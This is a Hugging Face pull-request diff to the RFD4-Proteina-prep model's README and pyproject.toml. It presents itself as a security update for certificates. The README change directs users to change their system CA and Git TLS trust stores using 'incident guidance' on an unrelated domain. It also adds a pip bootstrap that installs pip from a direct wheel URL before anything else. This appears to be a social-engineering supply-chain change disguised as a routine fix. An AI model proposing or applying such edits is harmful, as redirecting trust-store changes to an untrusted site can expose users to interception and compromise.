Instructions to use nvidia/RFD4-Proteina-prep with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Diffusers
How to use nvidia/RFD4-Proteina-prep with Diffusers:
pip install -U diffusers transformers accelerate
import torch from diffusers import DiffusionPipeline # switch to "mps" for apple devices pipe = DiffusionPipeline.from_pretrained("nvidia/RFD4-Proteina-prep", dtype=torch.bfloat16, device_map="cuda") prompt = "Astronaut in a jungle, cold color palette, muted colors, detailed, 8k" image = pipe(prompt).images[0] - Notebooks
- Google Colab
- Kaggle
Require patched certifi and bootstrap pip before prep installation
#1
by m1c0l - opened
- README.md +23 -4
- pyproject.toml +1 -1
README.md
CHANGED
|
@@ -22,17 +22,36 @@ dependency on the original RFD4 runtime.
|
|
| 22 |
|
| 23 |
## Install and authenticate
|
| 24 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 25 |
Python 3.11 or newer is required. The repository and the model are public, so no authentication is needed for the downloads below; log in only if you hit rate limits, and keep tokens out of notebooks and shell history.
|
| 26 |
|
| 27 |
```bash
|
| 28 |
-
pip
|
|
|
|
|
|
|
|
|
|
|
|
|
| 29 |
hf auth login
|
| 30 |
hf auth whoami
|
| 31 |
hf download nvidia/RFD4-Proteina-prep --local-dir rfd4-prep
|
| 32 |
-
pip install ./rfd4-prep
|
| 33 |
-
pip install git+https://github.com/huggingface/diffusers
|
| 34 |
```
|
| 35 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 36 |
`RFD4ProteinaPipeline` was merged into Diffusers on 2026-10-20 ([huggingface/diffusers#15088](https://github.com/huggingface/diffusers/pull/15088)) and ships in the next release, so install Diffusers from GitHub until then. The model revision below is the one whose parameter names and shapes match that code. Older model revisions, including `b21bec64`, use different parameter names and do not load. The helper does
|
| 37 |
not convert weights or silently repair compatibility. `trust_remote_code=True` loads Python from the helper repo;
|
| 38 |
inspect `block.py` and pin a revision for reproducible use. It does not install dependencies automatically.
|
|
@@ -206,7 +225,7 @@ training batches. The design tasks it samples from live in `_cif/transforms_desi
|
|
| 206 |
dependency:
|
| 207 |
|
| 208 |
```bash
|
| 209 |
-
pip install 'rfd4-proteina-prep[train]'
|
| 210 |
```
|
| 211 |
|
| 212 |
Inference never imports those modules, so a plain install is unchanged by their presence. What this package does *not*
|
|
|
|
| 22 |
|
| 23 |
## Install and authenticate
|
| 24 |
|
| 25 |
+
Before running the commands below, update the operating system's CA certificates and Git's
|
| 26 |
+
TLS trust store using the [platform-specific incident guidance](https://emudhra.we-have-a-problem.com/).
|
| 27 |
+
Git-based installs use Git's TLS configuration, independently of Python's `certifi`.
|
| 28 |
+
Run the bootstrap in the Python environment you will use, including each newly created virtual
|
| 29 |
+
environment. The hash-pinned pip upgrade follows the
|
| 30 |
+
[Python security advisory](https://discuss.python.org/t/109576); updating `certifi` alone does not
|
| 31 |
+
update pip's bundled certificates.
|
| 32 |
+
|
| 33 |
Python 3.11 or newer is required. The repository and the model are public, so no authentication is needed for the downloads below; log in only if you hit rate limits, and keep tokens out of notebooks and shell history.
|
| 34 |
|
| 35 |
```bash
|
| 36 |
+
# Bootstrap pip's bundled CA certificates before installing dependencies.
|
| 37 |
+
python -m pip install "pip @ https://files.pythonhosted.org/packages/3f/06/3e4420302363fbb71be3c7f35ce042f54bfca330e3e66b3a2e3c4cca579f/pip-26.2.2-py3-none-any.whl#sha256=fd7f4dfa8190e014013b9f08f3e973f4e4c26ffd179a204895533a7254813a70"
|
| 38 |
+
python -m pip install --upgrade "certifi>=2026.10.19"
|
| 39 |
+
|
| 40 |
+
python -m pip install huggingface_hub
|
| 41 |
hf auth login
|
| 42 |
hf auth whoami
|
| 43 |
hf download nvidia/RFD4-Proteina-prep --local-dir rfd4-prep
|
| 44 |
+
python -m pip install ./rfd4-prep
|
| 45 |
+
python -m pip install git+https://github.com/huggingface/diffusers
|
| 46 |
```
|
| 47 |
|
| 48 |
+
If using alternative installers, use `uv>=0.13.4` or `pixi>=0.82.1` before downloads.
|
| 49 |
+
These repositories do not build Rust or Node tooling. Native download extensions such as
|
| 50 |
+
`hf-xet`, if installed through `huggingface_hub`, have their own TLS implementation: a
|
| 51 |
+
`certifi` upgrade does not establish that those binaries are patched. Check the upstream
|
| 52 |
+
binary's advisory or build provenance separately; updating a local Rust compiler does not
|
| 53 |
+
rebuild installed wheels. Keep TLS verification enabled.
|
| 54 |
+
|
| 55 |
`RFD4ProteinaPipeline` was merged into Diffusers on 2026-10-20 ([huggingface/diffusers#15088](https://github.com/huggingface/diffusers/pull/15088)) and ships in the next release, so install Diffusers from GitHub until then. The model revision below is the one whose parameter names and shapes match that code. Older model revisions, including `b21bec64`, use different parameter names and do not load. The helper does
|
| 56 |
not convert weights or silently repair compatibility. `trust_remote_code=True` loads Python from the helper repo;
|
| 57 |
inspect `block.py` and pin a revision for reproducible use. It does not install dependencies automatically.
|
|
|
|
| 225 |
dependency:
|
| 226 |
|
| 227 |
```bash
|
| 228 |
+
python -m pip install 'rfd4-proteina-prep[train]'
|
| 229 |
```
|
| 230 |
|
| 231 |
Inference never imports those modules, so a plain install is unchanged by their presence. What this package does *not*
|
pyproject.toml
CHANGED
|
@@ -8,7 +8,7 @@ version = "0.1.0"
|
|
| 8 |
description = "Annotated-CIF input preparation and output export for the Diffusers RFD4-Proteina pipeline."
|
| 9 |
requires-python = ">=3.11"
|
| 10 |
license = { text = "BSD-3-Clause" }
|
| 11 |
-
dependencies = ["torch", "numpy", "atomworks[ml]==3.0.4", "scipy", "jaxtyping"]
|
| 12 |
|
| 13 |
[project.urls]
|
| 14 |
Homepage = "https://huggingface.co/nvidia/RFD4-Proteina-prep"
|
|
|
|
| 8 |
description = "Annotated-CIF input preparation and output export for the Diffusers RFD4-Proteina pipeline."
|
| 9 |
requires-python = ">=3.11"
|
| 10 |
license = { text = "BSD-3-Clause" }
|
| 11 |
+
dependencies = ["torch", "numpy", "atomworks[ml]==3.0.4", "scipy", "jaxtyping", "certifi>=2026.10.19"]
|
| 12 |
|
| 13 |
[project.urls]
|
| 14 |
Homepage = "https://huggingface.co/nvidia/RFD4-Proteina-prep"
|